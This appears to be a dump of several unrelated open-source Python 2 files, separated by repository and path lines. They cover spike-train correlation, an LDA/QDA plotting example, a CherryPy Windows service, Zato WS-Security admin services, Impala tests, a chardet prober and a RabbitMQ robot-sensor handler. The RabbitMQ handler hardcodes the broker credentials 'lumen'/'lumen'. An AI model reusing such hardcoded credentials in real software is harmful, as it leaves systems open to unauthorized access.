# -*- coding: utf-8 -*- """ Spike train correlation This modules provides functions to calculate correlations between spike trains. :copyright: Copyright 2015 by the Elephant team, see AUTHORS.txt. :license: Modified BSD, see LICENSE.txt for details. """ from __future__ import division import numpy as np def corrcoef(binned_sts, binary=False): ''' Calculate the NxN matrix of pairwise Pearson's correlation coefficients between all combinations of N binned spike trains. For each pair of spike trains :math:`(i,j)`, the correlation coefficient :math:`C[i,j]` is given by the correlation coefficient between the vectors obtained by binning :math:`i` and :math:`j` at the desired bin size. Let :math:`b_i` and :math:`b_j` denote the binary vectors and :math:`m_i` and :math:`m_j` their respective averages. Then .. math:: C[i,j] = <b_i-m_i, b_j-m_j> / \sqrt{<b_i-m_i, b_i-m_i>*<b_j-m_j,b_j-m_j>} where <..,.> is the scalar product of two vectors. For an input of n spike trains, a n x n matrix is returned. Each entry in the matrix is a real number ranging between -1 (perfectly anti-correlated spike trains) and +1 (perfectly correlated spike trains). If binary is True, the binned spike trains are clipped before computing the correlation coefficients, so that the binned vectors :math:`b_i` and :math:`b_j` are binary. Parameters ---------- binned_sts : elephant.conversion.BinnedSpikeTrain A binned spike train containing the spike trains to be evaluated. binary : bool, optional If True, two spikes of a particular spike train falling in the same bin are counted as 1, resulting in binary binned vectors :math:`b_i`. If False, the binned vectors :math:`b_i` contain the spike counts per bin. Default: False Returns ------- C : ndarrray The square matrix of correlation coefficients. The element :math:`C[i,j]=C[j,i]` is the Pearson's correlation coefficient between binned_sts[i] and binned_sts[j]. If binned_sts contains only one SpikeTrain, C=1.0. Examples -------- Generate two Poisson spike trains >>> from elephant.spike_train_generation import homogeneous_poisson_process >>> st1 = homogeneous_poisson_process(rate=10.0*Hz, t_start=0.0*s, t_stop=10.0*s) >>> st2 = homogeneous_poisson_process(rate=10.0*Hz, t_start=0.0*s, t_stop=10.0*s) Calculate the correlation matrix. >>> from elephant.conversion import BinnedSpikeTrain >>> cc_matrix = corrcoef(BinnedSpikeTrain([st1, st2], binsize=5*ms)) The correlation coefficient between the spike trains is stored in cc_matrix[0,1] (or cc_matrix[1,0]) Notes ----- * The spike trains in the binned structure are assumed to all cover the complete time span of binned_sts [t_start,t_stop). ''' num_neurons = binned_sts.matrix_rows # Pre-allocate correlation matrix C = np.zeros((num_neurons, num_neurons)) # Retrieve unclipped matrix spmat = binned_sts.to_sparse_array() # For each row, extract the nonzero column indices and the corresponding # data in the matrix (for performance reasons) bin_idx_unique = [] bin_counts_unique = [] if binary: for s in spmat: bin_idx_unique.append(s.nonzero()[1]) else: for s in spmat: bin_counts_unique.append(s.data) # All combinations of spike trains for i in range(num_neurons): for j in range(i, num_neurons): # Number of spikes in i and j if binary: n_i = len(bin_idx_unique[i]) n_j = len(bin_idx_unique[j]) else: n_i = np.sum(bin_counts_unique[i]) n_j = np.sum(bin_counts_unique[j]) # Enumerator: # $$ <b_i-m_i, b_j-m_j> # = <b_i, b_j> + l*m_i*m_j - <b_i, M_j> - <b_j, M_i> # =: ij + l*m_i*m_j - n_i * m_j - n_j * m_i # = ij - n_i*n_j/l $$ # where $n_i$ is the spike count of spike train $i$, # $l$ is the number of bins used (i.e., length of $b_i$ or $b_j$), # and $M_i$ is a vector [m_i, m_i,..., m_i]. if binary: # Intersect indices to identify number of coincident spikes in # i and j (more efficient than directly using the dot product) ij = len(np.intersect1d( bin_idx_unique[i], bin_idx_unique[j], assume_unique=True)) else: # Calculate dot product b_i*b_j between unclipped matrices ij = spmat[i].dot(spmat[j].transpose()).toarray()[0][0] cc_enum = ij - n_i * n_j / binned_sts.num_bins # Denominator: # $$ <b_i-m_i, b_i-m_i> # = <b_i, b_i> + m_i^2 - 2 <b_i, M_i> # =: ii + m_i^2 - 2 n_i * m_i # = ii - n_i^2 / $$ if binary: # Here, b_i*b_i is just the number of filled bins (since each # filled bin of a clipped spike train has value equal to 1) ii = len(bin_idx_unique[i]) jj = len(bin_idx_unique[j]) else: # directly calculate the dot product based on the counts of all # filled entries (more efficient than using the dot product of # the rows of the sparse matrix) ii = np.dot(bin_counts_unique[i], bin_counts_unique[i]) jj = np.dot(bin_counts_unique[j], bin_counts_unique[j]) cc_denom = np.sqrt( (ii - (n_i ** 2) / binned_sts.num_bins) * (jj - (n_j ** 2) / binned_sts.num_bins)) # Fill entry of correlation matrix C[i, j] = C[j, i] = cc_enum / cc_denom return C
etkirsch/scikit-learn
refs/heads/master
examples/classification/plot_lda_qda.py
78
""" ==================================================================== Linear and Quadratic Discriminant Analysis with confidence ellipsoid ==================================================================== Plot the confidence ellipsoids of each class and decision boundary """ print(__doc__) from scipy import linalg import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl from matplotlib import colors from sklearn.discriminant_analysis import LinearDiscriminantAnalysis from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis ############################################################################### # colormap cmap = colors.LinearSegmentedColormap( 'red_blue_classes', {'red': [(0, 1, 1), (1, 0.7, 0.7)], 'green': [(0, 0.7, 0.7), (1, 0.7, 0.7)], 'blue': [(0, 0.7, 0.7), (1, 1, 1)]}) plt.cm.register_cmap(cmap=cmap) ############################################################################### # generate datasets def dataset_fixed_cov(): '''Generate 2 Gaussians samples with the same covariance matrix''' n, dim = 300, 2 np.random.seed(0) C = np.array([[0., -0.23], [0.83, .23]]) X = np.r_[np.dot(np.random.randn(n, dim), C), np.dot(np.random.randn(n, dim), C) + np.array([1, 1])] y = np.hstack((np.zeros(n), np.ones(n))) return X, y def dataset_cov(): '''Generate 2 Gaussians samples with different covariance matrices''' n, dim = 300, 2 np.random.seed(0) C = np.array([[0., -1.], [2.5, .7]]) * 2. X = np.r_[np.dot(np.random.randn(n, dim), C), np.dot(np.random.randn(n, dim), C.T) + np.array([1, 4])] y = np.hstack((np.zeros(n), np.ones(n))) return X, y ############################################################################### # plot functions def plot_data(lda, X, y, y_pred, fig_index): splot = plt.subplot(2, 2, fig_index) if fig_index == 1: plt.title('Linear Discriminant Analysis') plt.ylabel('Data with fixed covariance') elif fig_index == 2: plt.title('Quadratic Discriminant Analysis') elif fig_index == 3: plt.ylabel('Data with varying covariances') tp = (y == y_pred) # True Positive tp0, tp1 = tp[y == 0], tp[y == 1] X0, X1 = X[y == 0], X[y == 1] X0_tp, X0_fp = X0[tp0], X0[~tp0] X1_tp, X1_fp = X1[tp1], X1[~tp1] xmin, xmax = X[:, 0].min(), X[:, 0].max() ymin, ymax = X[:, 1].min(), X[:, 1].max() # class 0: dots plt.plot(X0_tp[:, 0], X0_tp[:, 1], 'o', color='red') plt.plot(X0_fp[:, 0], X0_fp[:, 1], '.', color='#990000') # dark red # class 1: dots plt.plot(X1_tp[:, 0], X1_tp[:, 1], 'o', color='blue') plt.plot(X1_fp[:, 0], X1_fp[:, 1], '.', color='#000099') # dark blue # class 0 and 1 : areas nx, ny = 200, 100 x_min, x_max = plt.xlim() y_min, y_max = plt.ylim() xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny)) Z = lda.predict_proba(np.c_[xx.ravel(), yy.ravel()]) Z = Z[:, 1].reshape(xx.shape) plt.pcolormesh(xx, yy, Z, cmap='red_blue_classes', norm=colors.Normalize(0., 1.)) plt.contour(xx, yy, Z, [0.5], linewidths=2., colors='k') # means plt.plot(lda.means_[0][0], lda.means_[0][1], 'o', color='black', markersize=10) plt.plot(lda.means_[1][0], lda.means_[1][1], 'o', color='black', markersize=10) return splot def plot_ellipse(splot, mean, cov, color): v, w = linalg.eigh(cov) u = w[0] / linalg.norm(w[0]) angle = np.arctan(u[1] / u[0]) angle = 180 * angle / np.pi # convert to degrees # filled Gaussian at 2 standard deviation ell = mpl.patches.Ellipse(mean, 2 * v[0] ** 0.5, 2 * v[1] ** 0.5, 180 + angle, color=color) ell.set_clip_box(splot.bbox) ell.set_alpha(0.5) splot.add_artist(ell) splot.set_xticks(()) splot.set_yticks(()) def plot_lda_cov(lda, splot): plot_ellipse(splot, lda.means_[0], lda.covariance_, 'red') plot_ellipse(splot, lda.means_[1], lda.covariance_, 'blue') def plot_qda_cov(qda, splot): plot_ellipse(splot, qda.means_[0], qda.covariances_[0], 'red') plot_ellipse(splot, qda.means_[1], qda.covariances_[1], 'blue') ############################################################################### for i, (X, y) in enumerate([dataset_fixed_cov(), dataset_cov()]): # Linear Discriminant Analysis lda = LinearDiscriminantAnalysis(solver="svd", store_covariance=True) y_pred = lda.fit(X, y).predict(X) splot = plot_data(lda, X, y, y_pred, fig_index=2 * i + 1) plot_lda_cov(lda, splot) plt.axis('tight') # Quadratic Discriminant Analysis qda = QuadraticDiscriminantAnalysis() y_pred = qda.fit(X, y, store_covariances=True).predict(X) splot = plot_data(qda, X, y, y_pred, fig_index=2 * i + 2) plot_qda_cov(qda, splot) plt.axis('tight') plt.suptitle('Linear Discriminant Analysis vs Quadratic Discriminant Analysis') plt.show()
coolbombom/CouchPotato
refs/heads/master
cherrypy/process/win32.py
93
"""Windows service. Requires pywin32.""" import os import win32api import win32con import win32event import win32service import win32serviceutil from cherrypy.process import wspbus, plugins class ConsoleCtrlHandler(plugins.SimplePlugin): """A WSPBus plugin for handling Win32 console events (like Ctrl-C).""" def __init__(self, bus): self.is_set = False plugins.SimplePlugin.__init__(self, bus) def start(self): if self.is_set: self.bus.log('Handler for console events already set.', level=40) return result = win32api.SetConsoleCtrlHandler(self.handle, 1) if result == 0: self.bus.log('Could not SetConsoleCtrlHandler (error %r)' % win32api.GetLastError(), level=40) else: self.bus.log('Set handler for console events.', level=40) self.is_set = True def stop(self): if not self.is_set: self.bus.log('Handler for console events already off.', level=40) return try: result = win32api.SetConsoleCtrlHandler(self.handle, 0) except ValueError: # "ValueError: The object has not been registered" result = 1 if result == 0: self.bus.log('Could not remove SetConsoleCtrlHandler (error %r)' % win32api.GetLastError(), level=40) else: self.bus.log('Removed handler for console events.', level=40) self.is_set = False def handle(self, event): """Handle console control events (like Ctrl-C).""" if event in (win32con.CTRL_C_EVENT, win32con.CTRL_LOGOFF_EVENT, win32con.CTRL_BREAK_EVENT, win32con.CTRL_SHUTDOWN_EVENT, win32con.CTRL_CLOSE_EVENT): self.bus.log('Console event %s: shutting down bus' % event) # Remove self immediately so repeated Ctrl-C doesn't re-call it. try: self.stop() except ValueError: pass self.bus.exit() # 'First to return True stops the calls' return 1 return 0 class Win32Bus(wspbus.Bus): """A Web Site Process Bus implementation for Win32. Instead of time.sleep, this bus blocks using native win32event objects. """ def __init__(self): self.events = {} wspbus.Bus.__init__(self) def _get_state_event(self, state): """Return a win32event for the given state (creating it if needed).""" try: return self.events[state] except KeyError: event = win32event.CreateEvent(None, 0, 0, "WSPBus %s Event (pid=%r)" % (state.name, os.getpid())) self.events[state] = event return event def _get_state(self): return self._state def _set_state(self, value): self._state = value event = self._get_state_event(value) win32event.PulseEvent(event) state = property(_get_state, _set_state) def wait(self, state, interval=0.1, channel=None): """Wait for the given state(s), KeyboardInterrupt or SystemExit. Since this class uses native win32event objects, the interval argument is ignored. """ if isinstance(state, (tuple, list)): # Don't wait for an event that beat us to the punch ;) if self.state not in state: events = tuple([self._get_state_event(s) for s in state]) win32event.WaitForMultipleObjects(events, 0, win32event.INFINITE) else: # Don't wait for an event that beat us to the punch ;) if self.state != state: event = self._get_state_event(state) win32event.WaitForSingleObject(event, win32event.INFINITE) class _ControlCodes(dict): """Control codes used to "signal" a service via ControlService. User-defined control codes are in the range 128-255. We generally use the standard Python value for the Linux signal and add 128. Example: >>> signal.SIGUSR1 10 control_codes['graceful'] = 128 + 10 """ def key_for(self, obj): """For the given value, return its corresponding key.""" for key, val in self.items(): if val is obj: return key raise ValueError("The given object could not be found: %r" % obj) control_codes = _ControlCodes({'graceful': 138}) def signal_child(service, command): if command == 'stop': win32serviceutil.StopService(service) elif command == 'restart': win32serviceutil.RestartService(service) else: win32serviceutil.ControlService(service, control_codes[command]) class PyWebService(win32serviceutil.ServiceFramework): """Python Web Service.""" _svc_name_ = "Python Web Service" _svc_display_name_ = "Python Web Service" _svc_deps_ = None # sequence of service names on which this depends _exe_name_ = "pywebsvc" _exe_args_ = None # Default to no arguments # Only exists on Windows 2000 or later, ignored on windows NT _svc_description_ = "Python Web Service" def SvcDoRun(self): from cherrypy import process process.bus.start() process.bus.block() def SvcStop(self): from cherrypy import process self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) process.bus.exit() def SvcOther(self, control): process.bus.publish(control_codes.key_for(control)) if __name__ == '__main__': win32serviceutil.HandleCommandLine(PyWebService)
youprofit/zato
refs/heads/master
code/zato-server/src/zato/server/service/internal/security/wss.py
6
# -*- coding: utf-8 -*- """ Copyright (C) 2010 Dariusz Suchojad <dsuch at zato.io> Licensed under LGPLv3, see LICENSE.txt for terms and conditions. """ from __future__ import absolute_import, division, print_function, unicode_literals # stdlib from contextlib import closing from traceback import format_exc from uuid import uuid4 # Zato from zato.common import SEC_DEF_TYPE from zato.common.broker_message import SECURITY from zato.common.odb.model import Cluster, WSSDefinition from zato.common.odb.query import wss_list from zato.server.service import Boolean, Integer from zato.server.service.internal import AdminService, AdminSIO, ChangePasswordBase class GetList(AdminService): """ Returns a list of WS-Security definitions available. """ class SimpleIO(AdminSIO): request_elem = 'zato_security_wss_get_list_request' response_elem = 'zato_security_wss_get_list_response' input_required = ('cluster_id',) output_required = ('id', 'name', 'is_active', 'password_type', 'username', Boolean('reject_empty_nonce_creat'), Boolean('reject_stale_tokens'), Integer('reject_expiry_limit'), Integer('nonce_freshness_time')) def get_data(self, session): return wss_list(session, self.request.input.cluster_id, False) def handle(self): with closing(self.odb.session()) as session: self.response.payload[:] = self.get_data(session) class Create(AdminService): """ Creates a new WS-Security definition. """ class SimpleIO(AdminSIO): request_elem = 'zato_security_wss_create_request' response_elem = 'zato_security_wss_create_response' input_required = ('cluster_id', 'name', 'is_active', 'username', 'password_type', Boolean('reject_empty_nonce_creat'), Boolean('reject_stale_tokens'), Integer('reject_expiry_limit'), Integer('nonce_freshness_time')) output_required = ('id', 'name') def handle(self): input = self.request.input with closing(self.odb.session()) as session: cluster = session.query(Cluster).filter_by(id=input.cluster_id).first() # Let's see if we already have a definition of that name before committing # any stuff into the database. existing_one = session.query(WSSDefinition).\ filter(Cluster.id==input.cluster_id).\ filter(WSSDefinition.name==input.name).first() if existing_one: raise Exception('WS-Security definition [{0}] already exists on this cluster'.format(input.name)) password = uuid4().hex try: wss = WSSDefinition( None, input.name, input.is_active, input.username, password, input.password_type, input.reject_empty_nonce_creat, input.reject_stale_tokens, input.reject_expiry_limit, input.nonce_freshness_time, cluster) session.add(wss) session.commit() except Exception, e: msg = "Could not create a WS-Security definition, e:[{e}]".format(e=format_exc(e)) self.logger.error(msg) session.rollback() raise else: input.action = SECURITY.WSS_CREATE.value input.password = password input.sec_type = SEC_DEF_TYPE.WSS self.broker_client.publish(self.request.input) self.response.payload.id = wss.id self.response.payload.name = input.name class Edit(AdminService): """ Updates a WS-S definition. """ class SimpleIO(AdminSIO): request_elem = 'zato_security_wss_edit_request' response_elem = 'zato_security_wss_edit_response' input_required = ( 'id', 'cluster_id', 'name', 'is_active', 'username', 'password_type', Boolean('reject_empty_nonce_creat'), Boolean('reject_stale_tokens'), Integer('reject_expiry_limit'), Integer('nonce_freshness_time')) output_required = ('id', 'name') def handle(self): input = self.request.input with closing(self.odb.session()) as session: existing_one = session.query(WSSDefinition).\ filter(Cluster.id==input.cluster_id).\ filter(WSSDefinition.name==input.name).\ filter(WSSDefinition.id!=input.id).\ first() if existing_one: raise Exception('WS-Security definition [{0}] already exists on this cluster'.format(input.name)) try: wss = session.query(WSSDefinition).filter_by(id=input.id).one() old_name = wss.name wss.name = input.name wss.is_active = input.is_active wss.username = input.username wss.password_type = input.password_type wss.reject_empty_nonce_creat = input.reject_empty_nonce_creat wss.reject_stale_tokens = input.reject_stale_tokens wss.reject_expiry_limit = input.reject_expiry_limit wss.nonce_freshness_time = input.nonce_freshness_time session.add(wss) session.commit() except Exception, e: msg = "Could not update the WS-Security definition, e:[{e}]".format(e=format_exc(e)) self.logger.error(msg) session.rollback() raise else: input.action = SECURITY.WSS_EDIT.value input.old_name = old_name input.sec_type = SEC_DEF_TYPE.WSS self.broker_client.publish(self.request.input) self.response.payload.id = input.id self.response.payload.name = input.name class ChangePassword(ChangePasswordBase): """ Changes the password of a WS-Security definition. """ class SimpleIO(ChangePasswordBase.SimpleIO): request_elem = 'zato_security_wss_change_password_request' response_elem = 'zato_security_wss_change_password_response' def handle(self): def _auth(instance, password): instance.password = password return self._handle(WSSDefinition, _auth, SECURITY.WSS_CHANGE_PASSWORD.value) class Delete(AdminService): """ Deletes a WS-Security definition. """ class SimpleIO(AdminSIO): request_elem = 'zato_security_wss_delete_request' response_elem = 'zato_security_wss_delete_response' input_required = ('id',) def handle(self): with closing(self.odb.session()) as session: try: wss = session.query(WSSDefinition).\ filter(WSSDefinition.id==self.request.input.id).\ one() session.delete(wss) session.commit() except Exception, e: msg = "Could not delete the WS-Security definition, e:[{e}]".format(e=format_exc(e)) self.logger.error(msg) session.rollback() raise else: self.request.input.action = SECURITY.WSS_DELETE.value self.request.input.name = wss.name self.broker_client.publish(self.request.input)
cloudera/Impala
refs/heads/cdh6.3.0
tests/query_test/test_chars.py
1
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import pytest from tests.common.impala_test_suite import ImpalaTestSuite from tests.common.test_dimensions import (create_exec_option_dimension, create_beeswax_hs2_dimension, hs2_parquet_constraint, hs2_text_constraint) from tests.util.filesystem_utils import get_fs_path class TestStringQueries(ImpalaTestSuite): @classmethod def get_workload(cls): return 'functional-query' @classmethod def add_test_dimensions(cls): super(TestStringQueries, cls).add_test_dimensions() cls.ImpalaTestMatrix.add_dimension( create_exec_option_dimension(disable_codegen_options=[False, True])) cls.ImpalaTestMatrix.add_constraint(lambda v:\ v.get_value('table_format').file_format in ['text'] and v.get_value('table_format').compression_codec in ['none']) # Run these queries through both beeswax and HS2 to get coverage of CHAR/VARCHAR # returned via both protocols. cls.ImpalaTestMatrix.add_dimension(create_beeswax_hs2_dimension()) cls.ImpalaTestMatrix.add_constraint(hs2_text_constraint) def test_chars(self, vector): self.run_test_case('QueryTest/chars', vector) def test_chars_tmp_tables(self, vector, unique_database): if vector.get_value('protocol') == 'hs2': pytest.skip("HS2 does not return row counts for inserts") # Tests that create temporary tables and require a unique database. self.run_test_case('QueryTest/chars-tmp-tables', vector, unique_database) class TestCharFormats(ImpalaTestSuite): @classmethod def get_workload(cls): return 'functional-query' @classmethod def add_test_dimensions(cls): super(TestCharFormats, cls).add_test_dimensions() cls.ImpalaTestMatrix.add_dimension( create_exec_option_dimension(disable_codegen_options=[False, True])) cls.ImpalaTestMatrix.add_constraint(lambda v: (v.get_value('table_format').file_format in ['avro'] and v.get_value('table_format').compression_codec in ['snap']) or v.get_value('table_format').file_format in ['parquet'] or v.get_value('table_format').file_format in ['orc'] or (v.get_value('table_format').file_format in ['text'] and v.get_value('table_format').compression_codec in ['none'])) # Run these queries through both beeswax and HS2 to get coverage of CHAR/VARCHAR # returned via both protocols. cls.ImpalaTestMatrix.add_dimension(create_beeswax_hs2_dimension()) cls.ImpalaTestMatrix.add_constraint(hs2_parquet_constraint) def test_char_format(self, vector): self.run_test_case('QueryTest/chars-formats', vector)
jlcarmic/producthunt_simulator
refs/heads/master
venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/sjisprober.py
1776
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import SJISDistributionAnalysis from .jpcntx import SJISContextAnalysis from .mbcssm import SJISSMModel from . import constants class SJISProber(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(SJISSMModel) self._mDistributionAnalyzer = SJISDistributionAnalysis() self._mContextAnalyzer = SJISContextAnalysis() self.reset() def reset(self): MultiByteCharSetProber.reset(self) self._mContextAnalyzer.reset() def get_charset_name(self): return self._mContextAnalyzer.get_charset_name() def feed(self, aBuf): aLen = len(aBuf) for i in range(0, aLen): codingState = self._mCodingSM.next_state(aBuf[i]) if codingState == constants.eError: if constants._debug: sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') self._mState = constants.eNotMe break elif codingState == constants.eItsMe: self._mState = constants.eFoundIt break elif codingState == constants.eStart: charLen = self._mCodingSM.get_current_charlen() if i == 0: self._mLastChar[1] = aBuf[0] self._mContextAnalyzer.feed(self._mLastChar[2 - charLen:], charLen) self._mDistributionAnalyzer.feed(self._mLastChar, charLen) else: self._mContextAnalyzer.feed(aBuf[i + 1 - charLen:i + 3 - charLen], charLen) self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], charLen) self._mLastChar[0] = aBuf[aLen - 1] if self.get_state() == constants.eDetecting: if (self._mContextAnalyzer.got_enough_data() and (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): self._mState = constants.eFoundIt return self.get_state() def get_confidence(self): contxtCf = self._mContextAnalyzer.get_confidence() distribCf = self._mDistributionAnalyzer.get_confidence() return max(contxtCf, distribCf)
ahmadsyarif/Python-Agent
refs/heads/master
Data.py
2
__author__ = 'Ahmad Syarif' import pika import json from pydispatch import dispatcher VISUAL_FACE_DETECTION = 'VISUAL_FACE_DETECTION' VISUAL_FACE_DETECTION = 'VISUAL_FACE_DETECTION' VISUAL_FACE_RECOGNITION ='VISUAL_FACE_RECOGNITION' VISUAL_FACE_TRACKING = 'VISUAL_FACE_TRACKING' VISUAL_HUMAN_TRACKING = 'VISUAL_HUMAN_TRACKING' AUDIO_SPEECH_RECOGNITION = 'AUDIO_SPEECH_RECOGNITION' AUDIO_TEXT_TO_SPEECH = 'AUDIO_TEXT_TO_SPEECH' AUDIO_GENDER_RECOGNITION = 'AUDIO_GENDER_RECOGNITION' AVATAR_DATA_TACTILE = 'AVATAR_DATA_TACTILE' class DataHandler(object): 'class to control connection' credential = pika.PlainCredentials('lumen', 'lumen') isConnected = None def __init__(self): try: self.connection = pika.SelectConnection(parameters=pika.ConnectionParameters('localhost', 5672, '/', DataHandler.credential),on_open_callback=self.on_connected) DataHandler.isConnected = True except RuntimeError as e: print 'unable to connect', e pass def start(self): self.connection.ioloop.start() pass def on_connected(self,connection): connection.channel(self.on_channel_open,channel_number=1) connection.channel(self.on_channel_open,channel_number=2) #connection.channel(self.on_channel_open,channel_number=3) #connection.channel(self.on_channel_open,channel_number=4) #connection.channel(self.on_channel_open,channel_number=5) #connection.channel(self.on_channel_open,channel_number=6) #connection.channel(self.on_channel_open,channel_number=7) connection.channel(self.on_channel_open,channel_number=8) pass def on_channel_open(self,channel): if channel.channel_number ==1: self.channelVisualFaceDetection = channel self.channelVisualFaceDetection.queue_declare(self.on_queue_declareOk,queue='lumen.visual.face.detection',durable=True,exclusive=False,auto_delete=True) elif channel.channel_number==2: self.channelVisualFaceRecognition = channel self.channelVisualFaceRecognition.queue_declare(self.on_queue_declareOk,queue='lumen.visual.face.recognition',durable=True,exclusive=False,auto_delete=True) elif channel.channel_number==3: self.channelVisualFaceTracking = channel self.channelVisualFaceTracking.queue_declare(self.on_queue_declareOk,queue='lumen.visual.face.tracking',durable=True,exclusive=False,auto_delete=True) elif channel.channel_number==4: self.channelVisualHumanDetection = channel self.channelVisualHumanDetection.queue_declare(self.on_queue_declareOk,queue='lumen.visual.human.detection',durable=True,exclusive=False,auto_delete=True) elif channel.channel_number==5: self.channelAudioSpeechRecognition = channel self.channelAudioSpeechRecognition.queue_declare(self.on_queue_declareOk,queue='lumen.audio.speech.recognition',durable=True,exclusive=False,auto_delete=True) elif channel.channel_number==6: self.channelAudioTextToSpeech = channel self.channelAudioTextToSpeech.queue_declare(self.on_queue_declareOk,queue='lumen.audio.text.to.speech',durable=True,exclusive=False,auto_delete=True) elif channel.channel_number==7: self.channelAudioGenderRecognition = channel self.channelAudioGenderRecognition.queue_declare(self.on_queue_declareOk,queue='lumen.audio.gender.recognition',durable=True,exclusive=False,auto_delete=True) elif channel.channel_number==8: self.channelAvatarDataTactile = channel self.channelAvatarDataTactile.queue_declare(self.on_queue_declareOk,queue='avatar.NAO.data.tactile',durable=True,exclusive=False,auto_delete=True) else: print 'print do nothing' pass pass def on_queue_declareOk(self,workQueue): if workQueue.channel_number == 1: self.channelVisualFaceDetection.queue_bind(self.on_bindOK,queue=workQueue.method.queue,exchange='amq.topic',routing_key=workQueue.method.queue) elif workQueue.channel_number == 2: self.channelVisualFaceRecognition.queue_bind(self.on_bindOK,queue=workQueue.method.queue,exchange='amq.topic',routing_key=workQueue.method.queue) elif workQueue.channel_number == 3: self.channelVisualFaceTracking.queue_bind(self.on_bindOK,queue=workQueue.method.queue,exchange='amq.topic',routing_key=workQueue.method.queue) elif workQueue.channel_number == 4: self.channelVisualHumanDetection.queue_bind(self.on_bindOK,queue=workQueue.method.queue,exchange='amq.topic',routing_key=workQueue.method.queue) elif workQueue.channel_number == 5: self.channelAudioSpeechRecognition.queue_bind(self.on_bindOK,queue=workQueue.method.queue,exchange='amq.topic',routing_key=workQueue.method.queue) elif workQueue.channel_number == 6: self.channelAudioTextToSpeech.queue_bind(self.on_bindOK,queue=workQueue.method.queue,exchange='amq.topic',routing_key=workQueue.method.queue) elif workQueue.channel_number == 7: self.channelAudioGenderRecognition.queue_bind(self.on_bindOK,queue=workQueue.method.queue,exchange='amq.topic',routing_key=workQueue.method.queue) elif workQueue.channel_number == 8: self.channelAvatarDataTactile.queue_bind(self.on_bindOK,queue=workQueue.method.queue,exchange='amq.topic',routing_key=workQueue.method.queue) else: pass pass def on_bindOK(self,frame): if frame.channel_number == 1: self.channelVisualFaceDetection.basic_consume(self.faceDetectionCallback,queue='lumen.visual.face.detection',no_ack=True) elif frame.channel_number==2: self.channelVisualFaceRecognition.basic_consume(self.faceRecognitionCallback,queue='lumen.visual.face.recognition',no_ack=True) elif frame.channel_number==3: self.channelVisualFaceTracking.basic_consume(self.faceTrackingCallback,queue='lumen.visual.face.tracking',no_ack=True) elif frame.channel_number==4: self.channelVisualHumanDetection.basic_consume(self.humanDetectionCallback,queue='lumen.visual.human.detection',no_ack=True) elif frame.channel_number==5: self.channelAudioSpeechRecognition.basic_consume(self.speechRecognitionCallback,queue='lumen.audio.speech.recognition',no_ack=True) elif frame.channel_number==6: self.channelAudioTextToSpeech.basic_consume(self.textToSpeechCallback,queue='lumen.audio.text.to.speech',no_ack=True) elif frame.channel_number==7: self.channelAudioGenderRecognition.basic_consume(self.genderRecognitionCallback,queue='lumen.audio.gender.recognition',no_ack=True) elif frame.channel_number==8: self.channelAvatarDataTactile.basic_consume(self.tactileDataCallback,queue='avatar.NAO.data.tactile',no_ack=True) else: pass pass # defenition of event handler def faceDetectionCallback(self,ch, method, property, body): result = json.loads(body) faceLocation = [result['x'],result['y']] dispatcher.send(signal=VISUAL_FACE_DETECTION,sender=self,result=faceLocation) pass def faceRecognitionCallback(self,ch, method, property, body): result = json.loads(body) faceName = result['name'] dispatcher.send(signal=VISUAL_FACE_RECOGNITION,sender=self,result = faceName) pass def faceTrackingCallback(self,ch, method, property, body): dispatcher.send(signal=VISUAL_FACE_TRACKING,sender=self,result = body) pass def humanDetectionCallback(self,ch, method, property, body): result = json.loads(body) humanLocation = [result['x'],result['y']] dispatcher.send(signal=VISUAL_HUMAN_TRACKING,sender=self,result = humanLocation) pass def speechRecognitionCallback(self,ch, method, property, body): result = json.loads(body) recognizedWord = result['result'] dispatcher.send(signal=AUDIO_SPEECH_RECOGNITION,sender=self,result = recognizedWord) pass def textToSpeechCallback(self,ch, method, property, body): result = json.loads(body) sound = result['sound'] dispatcher.send(signal=AUDIO_TEXT_TO_SPEECH,sender=self,result = sound) pass def genderRecognitionCallback(self,ch, method, property, body): result = json.loads(body) gender = result['gender'] dispatcher.send(signal=AUDIO_GENDER_RECOGNITION,sender=self,result = gender) pass def tactileDataCallback(self,ch, method, property, body): result = json.loads(body) value = result['value'] dispatcher.send(signal=AVATAR_DATA_TACTILE,sender=self,result = value) pass pass
obi-two/Rebelion
refs/heads/master
data/scripts/templates/object/tangible/deed/naboo/player_house_deed/shared_naboo_house_large_deed.py
2
